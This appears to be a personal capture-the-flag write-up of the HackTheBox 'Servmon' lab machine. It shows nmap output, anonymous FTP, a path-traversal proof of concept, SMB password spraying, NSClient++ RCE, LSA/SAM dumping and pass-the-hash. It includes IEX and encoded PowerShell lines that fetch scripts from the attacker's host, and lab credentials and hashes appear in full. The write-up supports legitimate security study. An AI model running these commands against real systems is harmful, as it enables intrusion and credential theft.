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HackTheBox: Servmon
These are my own lightly-edited notes, and not necessarily a detailed walk-through.
Anonymous FTP leaks some clues for where to find a file. An LFI vulnerability in the web application allows retrieving the file, which leaks a valid password. A an admin password for NSClient++ is leaked in the config file readable by that user. An authenticated RCE exploit for NSClient++ grants limited Administrator access, which is enough for the system flag although AMSI is enabled so a full compromise will require a bit more work.
- Target:
servmon.htb 10.10.10.184
- Command: `nmap -v --reason -Pn -T4 --min-rate 10000 -p- --open -sCV -oA nmap_tcp-servmon.htb servmon.htb
__ftp-anon:
Anonymous FTP login allowed (FTP code 230)
02-28-22 07:35PM <DIR> Users
__ftp-syst:
SYST: Windows_NT
Some sensitive files are available via anonymous FTP:
$ ftp servmon.htb
Connected to servmon.htb.
220 Microsoft FTP Service
Name (servmon.htb:e): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49686|)
150 Opening ASCII mode data connection.
02-28-22 07:35PM <DIR> Users
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49687|)
125 Data connection already open; Transfer starting.
02-28-22 07:36PM <DIR> Nadine
02-28-22 07:37PM <DIR> Nathan
226 Transfer complete.
ftp> cd Nadine
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49688|)
125 Data connection already open; Transfer starting.
02-28-22 07:36PM 168 Confidential.txt
226 Transfer complete.
ftp> get Confidential.txt
local: Confidential.txt remote: Confidential.txt
229 Entering Extended Passive Mode (|||49689|)
150 Opening ASCII mode data connection.
100% |*******************************************************************************************************************************| 168 1.83 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 6 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
168 bytes received in 00:00 (1.83 KiB/s)
ftp> cd ../Nathan
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49690|)
125 Data connection already open; Transfer starting.
02-28-22 07:36PM 182 Notes to do.txt
226 Transfer complete.
ftp> get "Notes to do.txt"
local: Notes to do.txt remote: Notes to do.txt
229 Entering Extended Passive Mode (|||49691|)
125 Data connection already open; Transfer starting.
100% |*******************************************************************************************************************************| 182 2.03 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 4 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
182 bytes received in 00:00 (2.03 KiB/s)
$ cat Notes\ to\ do.txt
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
$ cat Confidential.txt
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
__ssh-hostkey:
3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)
__http-methods:
Supported Methods: GET HEAD POST OPTIONS
__http-favicon:
Unknown favicon MD5: 3AEF8B29C4866F96A539730FAB53A88F
__fingerprint-strings:
GetRequest, HTTPOptions, RTSPRequest:
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 340
Connection: close
AuthInfo:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<script type="text/javascript">
window.location.href = "Pages/login.htm";
</script>
</head>
<body>
</body>
</html>
NULL:
HTTP/1.1 408 Request Timeout
Content-type: text/html
Content-Length: 0
Connection: close
AuthInfo:
__http-title:
Site doesn't have a title (text/html).
http://servmon.htb/Pages/login.htm
:
__http-title:
NSClient++
Requested resource was /index.html
__http-methods:
Supported Methods: GET
__ssl-date:
TLS randomness does not represent time
__fingerprint-strings:
FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
HTTP/1.1 404
Content-Length: 18
Document not found
GetRequest:
HTTP/1.1 302
Content-Length: 0
Location: /index.html
workers
jobs
__ssl-cert:
Subject: commonName=localhost
Issuer: commonName=localhost
Public Key type: rsa
Public Key bits: 2048
Signature Algorithm: sha1WithRSAEncryption
Not valid before: 2020-01-14T13:24:20
Not valid after: 2021-01-13T13:24:20
MD5: 1d03:0c40:5b7a:0f6d:d8c8:78e3:cba7:38b4
SHA-1: 7083:bd82:b4b0:f9c0:cc9c:5019:2f9f:9291:4694:8334
This is NSClient++.
Here is how I achieved remote code execution on the target system.
This CVE-2019-20085 PoC works:
$ python3 nvms.py 10.10.10.184 Users/Nathan/Desktop/Passwords.txt x.txt
[+] DT Attack Succeeded
[+] Saving File Content
[+] Saved
[+] File Content
++++++++++ BEGIN ++++++++++
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
++++++++++ END ++++++++++
One hit:
$ nxc smb servmon.htb -u ./u.txt -p ./p.txt --continue-on-success
SMB 10.10.10.184 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB 10.10.10.184 445 SERVMON [-] ServMon\nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [+] ServMon\nadine:L1k3B1gBut7s@W0rk
SMB 10.10.10.184 445 SERVMON [-] ServMon\nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB 10.10.10.184 445 SERVMON [-] ServMon\nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
Credentials: nadine:L1k3B1gBut7s@W0rk
SSH is running, so that works for login:
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.
nadine@SERVMON C:\Users\Nadine>whoami
servmon\nadine
nadine@SERVMON C:\Users\Nadine>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Here's how I was able to escalate privileges for full control of the system.
PS C:\Users\Nadine> powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.21/wp.ps1')"
...
PS C:\Program Files\NSClient++> cat .\nsclient.ini
...
; Undocumented key
password = ew2x6SsGTxjRwXOT
...
NSClient++ is a process monitor. Originally it was a Nagios thing but it's now a more generic component.
This may be vulnerable to https://www.exploit-db.com/exploits/48360, "NSClient++ 0.5.2.35 - Authenticated Remote Code Execution".
NSClient++ is running on port 8443. But, this fails if I hit the port directly:
$ python3 x.py -t servmon.htb -P 8443 -p ew2x6SsGTxjRwXOT -c 'net localgroup administrators nadine /add'
[!] Targeting base URL https://servmon.htb:8443
[!] Obtaining Authentication Token . . .
[-] Error obtaining auth token, is your password correct? Hit error at: /auth/token
So, I setup LigoloNG and try it from the inside:
$ python3 x.py -t 240.0.0.1 -P 8443 -p ew2x6SsGTxjRwXOT -c 'net localgroup administrators nadine /add'
[!] Targeting base URL https://240.0.0.1:8443
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Enabling External Scripts Module . . .
[!] Configuring Script with Specified Payload . . .
[+] Added External Script (name: BXABhHYHoZkp)
[!] Saving Configuration . . .
[!] Reloading Application . . .
[!] Waiting for Application to reload . . .
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Triggering payload, should execute shortly . . .
It works:
PS C:\Users\Nadine> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Nadine
The command completed successfully.
I had a hard time getting an admin shell, even given the success above. For example, I suspect there's some AV on this target (Defender, etc.) because any reverse shell payloads get removed from the disk right away. A lot of the CIM queries fail for insufficient access. I can't trigger an NTLM callback to responder
, for some reason.
So, I decide I need the Administrator's hash.
$ nxc smb servmon.htb -u nadine -p 'L1k3B1gBut7s@W0rk' --lsa
SMB 10.10.10.184 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB 10.10.10.184 445 SERVMON [+] ServMon\nadine:L1k3B1gBut7s@W0rk (Pwn3d!)
SMB 10.10.10.184 445 SERVMON [+] Dumping LSA secrets
SMB 10.10.10.184 445 SERVMON SERVMON\Nathan:To0M4nyS4ndw1ch35
SMB 10.10.10.184 445 SERVMON dpapi_machinekey:0x5029be2d110d061e856496ac6c10595d5f75cf27
dpapi_userkey:0xeae6f93f35f9668e366a959938c97e4a8b54cfc2
SMB 10.10.10.184 445 SERVMON NL$KM:73629c30538cac86add0035b666feaed318455b9def82ca6d513ce4a8d889e19cb76dd9ccc1e5e3d790c072dd348a8eeec511dd9a90ee06004521b82299d6d48
SMB 10.10.10.184 445 SERVMON [+] Dumped 3 LSA secrets to /home/e/.nxc/logs/SERVMON_10.10.10.184_2024-09-30_094424.secrets and /home/e/.nxc/logs/SERVMON_10.10.10.184_2024-09-30_094424.cached
Still no Administrator. I try SAM:
$ nxc smb servmon.htb -u nadine -p 'L1k3B1gBut7s@W0rk' --sam
SMB 10.10.10.184 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB 10.10.10.184 445 SERVMON [+] ServMon\nadine:L1k3B1gBut7s@W0rk (Pwn3d!)
SMB 10.10.10.184 445 SERVMON [*] Dumping SAM hashes
SMB 10.10.10.184 445 SERVMON Administrator:500:aad3b435b51404eeaad3b435b51404ee:c8bbef7fd5afe37cbb1aee2264a75fee:::
...
There it is!
$ nxc smb servmon.htb -u administrator -H 'c8bbef7fd5afe37cbb1aee2264a75fee' --get-file '/users/administrator/desktop/root.txt' root.txt
SMB 10.10.10.184 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB 10.10.10.184 445 SERVMON [+] ServMon\administrator:c8bbef7fd5afe37cbb1aee2264a75fee (Pwn3d!)
SMB 10.10.10.184 445 SERVMON [*] Copying "/users/administrator/desktop/root.txt" to "root.txt"
SMB 10.10.10.184 445 SERVMON [+] File "/users/administrator/desktop/root.txt" was downloaded to "root.txt"
$ cat root.txt
25650b...
That's the system flag, but I still feel like I haven't really owned the machine. Reverse shell attempts still fail:
$ nxc smb servmon.htb -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:c8bbef7fd5afe37cbb1aee2264a75fee' -X 'powershell -e aQBlAHgAKABpAHcAcgAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAxAC8AYwBvAG4AcAB0AHkAcwBoAC0ANAA0ADMALgBwAHMAMQAgAC0AdQBzAGUAYgBhAHMAaQBjAHAAYQByAHMAaQBuAGcAKQAKAA=='
SMB 10.10.10.184 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB 10.10.10.184 445 SERVMON [+] ServMon\administrator:c8bbef7fd5afe37cbb1aee2264a75fee (Pwn3d!)
SMB 10.10.10.184 445 SERVMON [-] Command execution blocked by AMSI
But, at least that confirms it's AMSI.
Notes:
- I didn't need to use LigoloNG here, I could have just forwarded the port via SSH since it was running on this Windows target.
- The NSClient++ password was also available via:
nscp web -- password --display
- See 0xdf's walk-through for how to manually exploit the NSClient++ vulnerability.
Unresolved issues encountered while attacking this target.
- I'd like to learn more about bypassing AMSI, but since I'm focused on the OSCP and can safely ignore all AV countermeasures for now, I'll have to come back to this later.